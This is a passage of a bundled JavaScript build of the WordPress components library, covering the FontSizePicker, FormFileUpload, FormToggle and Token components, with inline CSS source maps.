bmFtZSBhbmQgaGludCB3aGlsZSBrZWVwaW5nIGNoZWNrbWFyayBvbiB0aGUgcmlnaHRcbmV4cG9ydCBjb25zdCBTdHlsZWRDdXN0b21TZWxlY3RDb250cm9sID0gc3R5bGVkKCBDdXN0b21TZWxlY3RDb250cm9sIClgXG5cdC5jb21wb25lbnRzLWN1c3RvbS1zZWxlY3QtY29udHJvbF9faXRlbVxuXHRcdC5jb21wb25lbnRzLWN1c3RvbS1zZWxlY3QtY29udHJvbF9faXRlbS1oaW50IHtcblx0XHR3aWR0aDogMTAwJTtcblx0fVxuYDtcbiJdfQ== */"));
41996 var HeaderToggle = /* @__PURE__ */ createStyled(button_default, false ? {
41997 target: "e8tqeku2"
41998 } : {
41999 target: "e8tqeku2",
42000 label: "HeaderToggle"
42001 })("margin-top:", space(-1), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF5QjRDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJhc2VDb250cm9sIGZyb20gJy4uL2Jhc2UtY29udHJvbCc7XG5pbXBvcnQgQnV0dG9uIGZyb20gJy4uL2J1dHRvbic7XG5pbXBvcnQgQ3VzdG9tU2VsZWN0Q29udHJvbCBmcm9tICcuLi9jdXN0b20tc2VsZWN0LWNvbnRyb2wnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vaC1zdGFjayc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5maWVsZHNldGBcblx0Ym9yZGVyOiAwO1xuXHRtYXJnaW46IDA7XG5cdHBhZGRpbmc6IDA7XG5cdGRpc3BsYXk6IGNvbnRlbnRzO1xuYDtcblxuZXhwb3J0IGNvbnN0IEhlYWRlciA9IHN0eWxlZCggSFN0YWNrIClgXG5cdGhlaWdodDogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEhlYWRlclRvZ2dsZSA9IHN0eWxlZCggQnV0dG9uIClgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCAtMSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSGVhZGVyTGFiZWwgPSBzdHlsZWQoIEJhc2VDb250cm9sLlZpc3VhbExhYmVsIClgXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGdhcDogJHsgc3BhY2UoIDEgKSB9O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XG5cdG1hcmdpbi1ib3R0b206IDA7XG5gO1xuXG4vLyBDdXN0b20gc3R5bGVkIGNvbXBvbmVudCB0byBmb3JjZSBsaW5lIGJyZWFrIGJldHdlZW4gbmFtZSBhbmQgaGludCB3aGlsZSBrZWVwaW5nIGNoZWNrbWFyayBvbiB0aGUgcmlnaHRcbmV4cG9ydCBjb25zdCBTdHlsZWRDdXN0b21TZWxlY3RDb250cm9sID0gc3R5bGVkKCBDdXN0b21TZWxlY3RDb250cm9sIClgXG5cdC5jb21wb25lbnRzLWN1c3RvbS1zZWxlY3QtY29udHJvbF9faXRlbVxuXHRcdC5jb21wb25lbnRzLWN1c3RvbS1zZWxlY3QtY29udHJvbF9faXRlbS1oaW50IHtcblx0XHR3aWR0aDogMTAwJTtcblx0fVxuYDtcbiJdfQ== */"));
42002 var HeaderLabel = /* @__PURE__ */ createStyled(base_control_default.VisualLabel, false ? {
42003 target: "e8tqeku1"
42004 } : {
42005 target: "e8tqeku1",
42006 label: "HeaderLabel"
42007 })("display:flex;gap:", space(1), ";justify-content:flex-start;margin-bottom:0;" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE2QjREIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJhc2VDb250cm9sIGZyb20gJy4uL2Jhc2UtY29udHJvbCc7XG5pbXBvcnQgQnV0dG9uIGZyb20gJy4uL2J1dHRvbic7XG5pbXBvcnQgQ3VzdG9tU2VsZWN0Q29udHJvbCBmcm9tICcuLi9jdXN0b20tc2VsZWN0LWNvbnRyb2wnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vaC1zdGFjayc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5maWVsZHNldGBcblx0Ym9yZGVyOiAwO1xuXHRtYXJnaW46IDA7XG5cdHBhZGRpbmc6IDA7XG5cdGRpc3BsYXk6IGNvbnRlbnRzO1xuYDtcblxuZXhwb3J0IGNvbnN0IEhlYWRlciA9IHN0eWxlZCggSFN0YWNrIClgXG5cdGhlaWdodDogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEhlYWRlclRvZ2dsZSA9IHN0eWxlZCggQnV0dG9uIClgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCAtMSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSGVhZGVyTGFiZWwgPSBzdHlsZWQoIEJhc2VDb250cm9sLlZpc3VhbExhYmVsIClgXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGdhcDogJHsgc3BhY2UoIDEgKSB9O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XG5cdG1hcmdpbi1ib3R0b206IDA7XG5gO1xuXG4vLyBDdXN0b20gc3R5bGVkIGNvbXBvbmVudCB0byBmb3JjZSBsaW5lIGJyZWFrIGJldHdlZW4gbmFtZSBhbmQgaGludCB3aGlsZSBrZWVwaW5nIGNoZWNrbWFyayBvbiB0aGUgcmlnaHRcbmV4cG9ydCBjb25zdCBTdHlsZWRDdXN0b21TZWxlY3RDb250cm9sID0gc3R5bGVkKCBDdXN0b21TZWxlY3RDb250cm9sIClgXG5cdC5jb21wb25lbnRzLWN1c3RvbS1zZWxlY3QtY29udHJvbF9faXRlbVxuXHRcdC5jb21wb25lbnRzLWN1c3RvbS1zZWxlY3QtY29udHJvbF9faXRlbS1oaW50IHtcblx0XHR3aWR0aDogMTAwJTtcblx0fVxuYDtcbiJdfQ== */"));
42008 var StyledCustomSelectControl = /* @__PURE__ */ createStyled(custom_select_control_default, false ? {
42009 target: "e8tqeku0"
42010 } : {
42011 target: "e8tqeku0",
42012 label: "StyledCustomSelectControl"
42013 })(false ? {
42014 name: "anvx77",
42015 styles: ".components-custom-select-control__item .components-custom-select-control__item-hint{width:100%;}"
42016 } : {
42017 name: "anvx77",
42018 styles: ".components-custom-select-control__item .components-custom-select-control__item-hint{width:100%;}/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxQ3NFIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJhc2VDb250cm9sIGZyb20gJy4uL2Jhc2UtY29udHJvbCc7XG5pbXBvcnQgQnV0dG9uIGZyb20gJy4uL2J1dHRvbic7XG5pbXBvcnQgQ3VzdG9tU2VsZWN0Q29udHJvbCBmcm9tICcuLi9jdXN0b20tc2VsZWN0LWNvbnRyb2wnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vaC1zdGFjayc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5maWVsZHNldGBcblx0Ym9yZGVyOiAwO1xuXHRtYXJnaW46IDA7XG5cdHBhZGRpbmc6IDA7XG5cdGRpc3BsYXk6IGNvbnRlbnRzO1xuYDtcblxuZXhwb3J0IGNvbnN0IEhlYWRlciA9IHN0eWxlZCggSFN0YWNrIClgXG5cdGhlaWdodDogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEhlYWRlclRvZ2dsZSA9IHN0eWxlZCggQnV0dG9uIClgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCAtMSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSGVhZGVyTGFiZWwgPSBzdHlsZWQoIEJhc2VDb250cm9sLlZpc3VhbExhYmVsIClgXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGdhcDogJHsgc3BhY2UoIDEgKSB9O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XG5cdG1hcmdpbi1ib3R0b206IDA7XG5gO1xuXG4vLyBDdXN0b20gc3R5bGVkIGNvbXBvbmVudCB0byBmb3JjZSBsaW5lIGJyZWFrIGJldHdlZW4gbmFtZSBhbmQgaGludCB3aGlsZSBrZWVwaW5nIGNoZWNrbWFyayBvbiB0aGUgcmlnaHRcbmV4cG9ydCBjb25zdCBTdHlsZWRDdXN0b21TZWxlY3RDb250cm9sID0gc3R5bGVkKCBDdXN0b21TZWxlY3RDb250cm9sIClgXG5cdC5jb21wb25lbnRzLWN1c3RvbS1zZWxlY3QtY29udHJvbF9faXRlbVxuXHRcdC5jb21wb25lbnRzLWN1c3RvbS1zZWxlY3QtY29udHJvbF9faXRlbS1oaW50IHtcblx0XHR3aWR0aDogMTAwJTtcblx0fVxuYDtcbiJdfQ== */",
42019 toString: _EMOTION_STRINGIFIED_CSS_ERROR__33
42020 });
42021
42022 // packages/components/build-module/font-size-picker/font-size-picker-select.mjs
42023 var import_i18n52 = __toESM(require_i18n(), 1);
42024 var import_element140 = __toESM(require_element(), 1);
42025
42026 // packages/components/build-module/font-size-picker/utils.mjs
42027 function isSimpleCssValue(value) {
42028 const sizeRegex = /^[\d\.]+(px|em|rem|vw|vh|%|svw|lvw|dvw|svh|lvh|dvh|vi|svi|lvi|dvi|vb|svb|lvb|dvb|vmin|svmin|lvmin|dvmin|vmax|svmax|lvmax|dvmax)?$/i;
42029 return sizeRegex.test(String(value));
42030 }
42031 function generateFontSizeHint(fontSize) {
42032 if (fontSize.hint) {
42033 return fontSize.hint;
42034 }
42035 if (isSimpleCssValue(fontSize.size)) {
42036 return String(fontSize.size);
42037 }
42038 return void 0;
42039 }
42040
42041 // packages/components/build-module/font-size-picker/font-size-picker-select.mjs
42042 var import_jsx_runtime213 = __toESM(require_jsx_runtime(), 1);
42043 var DEFAULT_OPTION = {
42044 key: "default",
42045 name: (0, import_i18n52.__)("Default"),
42046 value: void 0
42047 };
42048 var FontSizePickerSelect = (props) => {
42049 const {
42050 __next40pxDefaultSize,
42051 fontSizes,
42052 value,
42053 size: size3,
42054 valueMode = "literal",
42055 onChange
42056 } = props;
42057 const options2 = [DEFAULT_OPTION, ...fontSizes.map((fontSize) => {
42058 const hint = generateFontSizeHint(fontSize);
42059 return {
42060 key: fontSize.slug,
42061 name: fontSize.name || fontSize.slug,
42062 value: fontSize.size,
42063 hint
42064 };
42065 })];
42066 const selectedOption = (0, import_element140.useMemo)(() => {
42067 if (value === void 0) {
42068 return DEFAULT_OPTION;
42069 }
42070 if (valueMode === "slug") {
42071 const optionBySlug = options2.find((option) => option.key === value);
42072 if (optionBySlug) {
42073 return optionBySlug;
42074 }
42075 }
42076 return options2.find((option) => option.value === value) ?? DEFAULT_OPTION;
42077 }, [value, valueMode, options2]);
42078 return /* @__PURE__ */ (0, import_jsx_runtime213.jsx)(StyledCustomSelectControl, {
42079 __next40pxDefaultSize,
42080 __shouldNotWarnDeprecated36pxSize: true,
42081 className: "components-font-size-picker__select",
42082 label: (0, import_i18n52.__)("Font size"),
42083 hideLabelFromVision: true,
42084 describedBy: (0, import_i18n52.sprintf)(
42085 // translators: %s: Currently selected font size.
42086 (0, import_i18n52.__)("Currently selected font size: %s"),
42087 selectedOption.name
42088 ),
42089 options: options2,
42090 value: selectedOption,
42091 showSelectedHint: true,
42092 onChange: ({
42093 selectedItem
42094 }) => {
42095 const matchingFontSize = selectedItem.key === "default" ? void 0 : fontSizes.find((fontSize) => fontSize.slug === selectedItem.key);
42096 onChange(selectedItem.value, matchingFontSize);
42097 },
42098 size: size3
42099 });
42100 };
42101 var font_size_picker_select_default = FontSizePickerSelect;
42102
42103 // packages/components/build-module/font-size-picker/font-size-picker-toggle-group.mjs
42104 var import_i18n54 = __toESM(require_i18n(), 1);
42105
42106 // packages/components/build-module/font-size-picker/constants.mjs
42107 var import_i18n53 = __toESM(require_i18n(), 1);
42108 var T_SHIRT_ABBREVIATIONS = [
42109 /* translators: S stands for 'small' and is a size label. */
42110 (0, import_i18n53.__)("S"),
42111 /* translators: M stands for 'medium' and is a size label. */
42112 (0, import_i18n53.__)("M"),
42113 /* translators: L stands for 'large' and is a size label. */
42114 (0, import_i18n53.__)("L"),
42115 /* translators: XL stands for 'extra large' and is a size label. */
42116 (0, import_i18n53.__)("XL"),
42117 /* translators: XXL stands for 'extra extra large' and is a size label. */
42118 (0, import_i18n53.__)("XXL")
42119 ];
42120 var T_SHIRT_NAMES = [(0, import_i18n53.__)("Small"), (0, import_i18n53.__)("Medium"), (0, import_i18n53.__)("Large"), (0, import_i18n53.__)("Extra Large"), (0, import_i18n53.__)("Extra Extra Large")];
42121
42122 // packages/components/build-module/font-size-picker/font-size-picker-toggle-group.mjs
42123 var import_jsx_runtime214 = __toESM(require_jsx_runtime(), 1);
42124 var FontSizePickerToggleGroup = (props) => {
42125 const {
42126 fontSizes,
42127 value,
42128 valueMode = "literal",
42129 __next40pxDefaultSize,
42130 size: size3,
42131 onChange
42132 } = props;
42133 const currentValue = (() => {
42134 if (!value) {
42135 return void 0;
42136 }
42137 if (valueMode === "slug") {
42138 return String(value);
42139 }
42140 const matchingFontSizes = fontSizes.filter((fontSize) => fontSize.size === value);
42141 if (matchingFontSizes.length > 1) {
42142 return void 0;
42143 }
42144 const fontSizeBySize = fontSizes.find((fontSize) => fontSize.size === value);
42145 return fontSizeBySize?.slug;
42146 })();
42147 return /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(component_default12, {
42148 __next40pxDefaultSize,
42149 __shouldNotWarnDeprecated36pxSize: true,
42150 label: (0, import_i18n54.__)("Font size"),
42151 hideLabelFromVision: true,
42152 value: currentValue,
42153 onChange: (newSlug) => {
42154 if (newSlug === void 0) {
42155 onChange(void 0);
42156 } else {
42157 const selectedFontSize = fontSizes.find((fontSize) => fontSize.slug === String(newSlug));
42158 if (selectedFontSize) {
42159 onChange(selectedFontSize.size, selectedFontSize);
42160 }
42161 }
42162 },
42163 isBlock: true,
42164 size: size3,
42165 children: fontSizes.map((fontSize, index2) => /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(component_default14, {
42166 value: fontSize.slug,
42167 label: T_SHIRT_ABBREVIATIONS[index2],
42168 "aria-label": fontSize.name || T_SHIRT_NAMES[index2],
42169 showTooltip: true
42170 }, fontSize.slug))
42171 });
42172 };
42173 var font_size_picker_toggle_group_default = FontSizePickerToggleGroup;
42174
42175 // packages/components/build-module/font-size-picker/index.mjs
42176 var import_jsx_runtime215 = __toESM(require_jsx_runtime(), 1);
42177 var DEFAULT_UNITS = ["px", "em", "rem", "vw", "vh"];
42178 var MAX_TOGGLE_GROUP_SIZES = 5;
42179 var UnforwardedFontSizePicker = (props, ref) => {
42180 const {
42181 __next40pxDefaultSize = false,
42182 fallbackFontSize,
42183 fontSizes = [],
42184 disableCustomFontSizes = false,
42185 onChange,
42186 size: size3 = "default",
42187 units: unitsProp = DEFAULT_UNITS,
42188 value,
42189 valueMode = "literal",
42190 withSlider = false,
42191 withReset = true
42192 } = props;
42193 const labelId = (0, import_compose56.useInstanceId)(UnforwardedFontSizePicker, "font-size-picker-label");
42194 const units = useCustomUnits({
42195 availableUnits: unitsProp
42196 });
42197 const selectedFontSize = (() => {
42198 if (!value) {
42199 return void 0;
42200 }
42201 if (valueMode === "slug") {
42202 return fontSizes.find((fontSize) => fontSize.slug === value);
42203 }
42204 return fontSizes.find((fontSize) => fontSize.size === value);
42205 })();
42206 const isCustomValue2 = !!value && !selectedFontSize;
42207 const [userRequestedCustom, setUserRequestedCustom] = (0, import_element141.useState)(isCustomValue2);
42208 const resolvedValueForControls = valueMode === "slug" ? selectedFontSize?.size : value;
42209 let currentPickerType;
42210 if (!disableCustomFontSizes && userRequestedCustom) {
42211 currentPickerType = "custom";
42212 } else {
42213 currentPickerType = fontSizes.length > MAX_TOGGLE_GROUP_SIZES ? "select" : "togglegroup";
42214 }
42215 if (fontSizes.length === 0 && disableCustomFontSizes) {
42216 return null;
42217 }
42218 const hasUnits2 = typeof resolvedValueForControls === "string" || typeof fontSizes[0]?.size === "string";
42219 const [valueQuantity, valueUnit] = parseQuantityAndUnitFromRawValue(resolvedValueForControls, units);
42220 const isValueUnitRelative = !!valueUnit && ["em", "rem", "vw", "vh"].includes(valueUnit);
42221 const isDisabled = value === void 0;
42222 maybeWarnDeprecated36pxSize({
42223 componentName: "FontSizePicker",
42224 __next40pxDefaultSize,
42225 size: size3
42226 });
42227 return /* @__PURE__ */ (0, import_jsx_runtime215.jsxs)(Container3, {
42228 ref,
42229 className: "components-font-size-picker",
42230 "aria-labelledby": labelId,
42231 children: [/* @__PURE__ */ (0, import_jsx_runtime215.jsx)(component_default6, {
42232 children: /* @__PURE__ */ (0, import_jsx_runtime215.jsxs)(Header2, {
42233 className: "components-font-size-picker__header",
42234 children: [/* @__PURE__ */ (0, import_jsx_runtime215.jsx)(HeaderLabel, {
42235 id: labelId,
42236 children: (0, import_i18n55.__)("Font size")
42237 }), !disableCustomFontSizes && /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(HeaderToggle, {
42238 label: currentPickerType === "custom" ? (0, import_i18n55.__)("Use size preset") : (0, import_i18n55.__)("Set custom size"),
42239 icon: settings_default,
42240 onClick: () => setUserRequestedCustom(!userRequestedCustom),
42241 isPressed: currentPickerType === "custom",
42242 size: "small"
42243 })]
42244 })
42245 }), /* @__PURE__ */ (0, import_jsx_runtime215.jsxs)("div", {
42246 children: [currentPickerType === "select" && /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(font_size_picker_select_default, {
42247 __next40pxDefaultSize,
42248 fontSizes,
42249 value,
42250 valueMode,
42251 disableCustomFontSizes,
42252 size: size3,
42253 onChange: (newValue, selectedItem) => {
42254 if (newValue === void 0) {
42255 onChange?.(void 0, selectedItem);
42256 } else {
42257 onChange?.(hasUnits2 ? newValue : Number(newValue), selectedItem);
42258 }
42259 },
42260 onSelectCustom: () => setUserRequestedCustom(true)
42261 }), currentPickerType === "togglegroup" && /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(font_size_picker_toggle_group_default, {
42262 fontSizes,
42263 value,
42264 valueMode,
42265 __next40pxDefaultSize,
42266 size: size3,
42267 onChange: (newValue, selectedItem) => {
42268 if (newValue === void 0) {
42269 onChange?.(void 0, selectedItem);
42270 } else {
42271 onChange?.(hasUnits2 ? newValue : Number(newValue), selectedItem);
42272 }
42273 }
42274 }), currentPickerType === "custom" && /* @__PURE__ */ (0, import_jsx_runtime215.jsxs)(component_default3, {
42275 className: "components-font-size-picker__custom-size-control",
42276 children: [/* @__PURE__ */ (0, import_jsx_runtime215.jsx)(component_default4, {
42277 isBlock: true,
42278 children: /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(unit_control_default, {
42279 __next40pxDefaultSize,
42280 __shouldNotWarnDeprecated36pxSize: true,
42281 label: (0, import_i18n55.__)("Font size"),
42282 labelPosition: "top",
42283 hideLabelFromVision: true,
42284 value: hasUnits2 ? `${valueQuantity ?? ""}${valueUnit ?? ""}` : resolvedValueForControls,
42285 onChange: (newValue) => {
42286 setUserRequestedCustom(true);
42287 if (newValue === void 0 || newValue === "") {
42288 onChange?.(void 0);
42289 } else {
42290 onChange?.(hasUnits2 ? newValue : parseInt(newValue, 10));
42291 }
42292 },
42293 size: size3,
42294 units: hasUnits2 ? units : [],
42295 min: 0
42296 })
42297 }), withSlider && /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(component_default4, {
42298 isBlock: true,
42299 children: /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(component_default6, {
42300 marginX: 2,
42301 marginBottom: 0,
42302 children: /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(range_control_default, {
42303 __next40pxDefaultSize,
42304 __shouldNotWarnDeprecated36pxSize: true,
42305 className: "components-font-size-picker__custom-input",
42306 label: (0, import_i18n55.__)("Font size"),
42307 hideLabelFromVision: true,
42308 value: valueQuantity,
42309 initialPosition: fallbackFontSize,
42310 withInputField: false,
42311 onChange: (newValue) => {
42312 setUserRequestedCustom(true);
42313 if (newValue === void 0) {
42314 onChange?.(void 0);
42315 } else if (hasUnits2) {
42316 onChange?.(newValue + (valueUnit ?? "px"));
42317 } else {
42318 onChange?.(newValue);
42319 }
42320 },
42321 min: 0,
42322 max: isValueUnitRelative ? 10 : 100,
42323 step: isValueUnitRelative ? 0.1 : 1
42324 })
42325 })
42326 }), withReset && /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(component_default4, {
42327 children: /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(Button3, {
42328 disabled: isDisabled,
42329 accessibleWhenDisabled: true,
42330 onClick: () => {
42331 onChange?.(void 0);
42332 },
42333 variant: "secondary",
42334 __next40pxDefaultSize: true,
42335 size: size3 === "__unstable-large" || props.__next40pxDefaultSize ? "default" : "small",
42336 children: (0, import_i18n55.__)("Reset")
42337 })
42338 })]
42339 })]
42340 })]
42341 });
42342 };
42343 var FontSizePicker = (0, import_element141.forwardRef)(UnforwardedFontSizePicker);
42344 FontSizePicker.displayName = "FontSizePicker";
42345 var font_size_picker_default = FontSizePicker;
42346
42347 // packages/components/build-module/form-file-upload/index.mjs
42348 var import_element142 = __toESM(require_element(), 1);
42349 var import_jsx_runtime216 = __toESM(require_jsx_runtime(), 1);
42350 function FormFileUpload({
42351 accept,
42352 children,
42353 multiple = false,
42354 onChange,
42355 onClick,
42356 render,
42357 ...props
42358 }) {
42359 const ref = (0, import_element142.useRef)(null);
42360 const openFileDialog = () => {
42361 ref.current?.click();
42362 };
42363 if (!render) {
42364 maybeWarnDeprecated36pxSize({
42365 componentName: "FormFileUpload",
42366 __next40pxDefaultSize: props.__next40pxDefaultSize,
42367 // @ts-expect-error - We don't "officially" support all Button props but this likely happens.
42368 size: props.size
42369 });
42370 }
42371 const ui = render ? render({
42372 openFileDialog
42373 }) : (
42374 // Disable reason: the parent component already takes care of the `__next40pxDefaultSize` prop.
42375 // eslint-disable-next-line @wordpress/components-no-missing-40px-size-prop
42376 /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(button_default, {
42377 onClick: openFileDialog,
42378 ...props,
42379 children
42380 })
42381 );
42382 const compatAccept = accept?.includes("audio/*") ? `${accept}, audio/mp3, audio/x-m4a, audio/x-m4b, audio/x-m4p, audio/x-wav, audio/webm` : accept;
42383 return /* @__PURE__ */ (0, import_jsx_runtime216.jsxs)("div", {
42384 className: "components-form-file-upload",
42385 children: [ui, /* @__PURE__ */ (0, import_jsx_runtime216.jsx)("input", {
42386 type: "file",
42387 ref,
42388 multiple,
42389 style: {
42390 display: "none"
42391 },
42392 accept: compatAccept,
42393 onChange,
42394 onClick,
42395 "data-testid": "form-file-upload-input"
42396 })]
42397 });
42398 }
42399 var form_file_upload_default = FormFileUpload;
42400
42401 // packages/components/build-module/form-toggle/index.mjs
42402 var import_element143 = __toESM(require_element(), 1);
42403 var import_jsx_runtime217 = __toESM(require_jsx_runtime(), 1);
42404 var noop14 = () => {
42405 };
42406 function UnforwardedFormToggle(props, ref) {
42407 const {
42408 className: className2,
42409 checked,
42410 id: id3,
42411 disabled,
42412 onChange = noop14,
42413 onClick,
42414 ...additionalProps
42415 } = props;
42416 const wrapperClasses = clsx_default("components-form-toggle", className2, {
42417 "is-checked": checked,
42418 "is-disabled": disabled
42419 });
42420 return /* @__PURE__ */ (0, import_jsx_runtime217.jsxs)("span", {
42421 className: wrapperClasses,
42422 children: [/* @__PURE__ */ (0, import_jsx_runtime217.jsx)("input", {
42423 className: "components-form-toggle__input",
42424 id: id3,
42425 type: "checkbox",
42426 checked,
42427 onChange,
42428 disabled,
42429 onClick: (event) => {
42430 event.currentTarget.focus();
42431 onClick?.(event);
42432 },
42433 ...additionalProps,
42434 ref
42435 }), /* @__PURE__ */ (0, import_jsx_runtime217.jsx)("span", {
42436 className: "components-form-toggle__track"
42437 }), /* @__PURE__ */ (0, import_jsx_runtime217.jsx)("span", {
42438 className: "components-form-toggle__thumb"
42439 })]
42440 });
42441 }
42442 var FormToggle = (0, import_element143.forwardRef)(UnforwardedFormToggle);
42443 FormToggle.displayName = "FormToggle";
42444 var form_toggle_default = FormToggle;
42445
42446 // packages/components/build-module/form-token-field/index.mjs
42447 var import_element144 = __toESM(require_element(), 1);
42448 var import_i18n57 = __toESM(require_i18n(), 1);
42449 var import_compose58 = __toESM(require_compose(), 1);
42450 var import_a11y6 = __toESM(require_a11y(), 1);
42451 var import_is_shallow_equal2 = __toESM(require_is_shallow_equal(), 1);
42452
42453 // packages/components/build-module/form-token-field/token.mjs
42454 var import_compose57 = __toESM(require_compose(), 1);
42455 var import_i18n56 = __toESM(require_i18n(), 1);
42456 var import_jsx_runtime218 = __toESM(require_jsx_runtime(), 1);
42457 var noop15 = () => {
42458 };
42459 function Token({
42460 value,
42461 status,
42462 title,
42463 displayTransform,
42464 isBorderless = false,
42465 disabled = false,
42466 onClickRemove = noop15,
42467 onMouseEnter,
42468 onMouseLeave,
42469 messages,
42470 termPosition,
42471 termsCount
42472 }) {
42473 const instanceId = (0, import_compose57.useInstanceId)(Token);
42474 const tokenClasses = clsx_default("components-form-token-field__token", {
42475 "is-error": "error" === status,
42476 "is-success": "success" === status,
42477 "is-validating": "validating" === status,
42478 "is-borderless": isBorderless,
42479 "is-disabled": disabled
42480 });
42481 const onClick = () => onClickRemove({
42482 value
42483 });
42484 const transformedValue = displayTransform(value);
42485 const termPositionAndCount = (0, import_i18n56.sprintf)(
42486 /* translators: 1: term name, 2: term position in a set of terms, 3: total term set count. */
42487 (0, import_i18n56.__)("%1$s (%2$d of %3$d)"),
42488 transformedValue,
42489 termPosition,
42490 termsCount
42491 );
42492 return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)("span", {
42493 className: tokenClasses,
42494 onMouseEnter,
42495 onMouseLeave,
42496 title,
42497 children: [/* @__PURE__ */ (0, import_jsx_runtime218.jsxs)("span", {
42498 className: "components-form-token-field__token-text",
42499 id: `components-form-token-field__token-text-${instanceId}`,
42500 children: [/* @__PURE__ */ (0, import_jsx_runtime218.jsx)(component_default2, {
42501 as: "span",
42502 children: termPositionAndCount
42503 }), /* @__PURE__ */ (0, import_jsx_runtime218.jsx)("span", {
42504 "aria-hidden": "true",
42505 children: transformedValue
42506 })]
42507 }), /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(button_default, {
42508 className: "components-form-token-field__remove-token",
42509 size: "small",
42510 icon: close_small_default,
42511 onClick: !disabled ? onClick : void 0,
42512 disabled,
42513 label: messages.remove,
42514 "aria-describedby": `components-form-token-field__token-text-${instanceId}`
42515 })]
42516 });
42517 }
42518
42519 // packages/components/build-module/form-token-field/styles.mjs
42520 var deprecatedPaddings = ({
42521 __next40pxDefaultSize,
42522 hasTokens
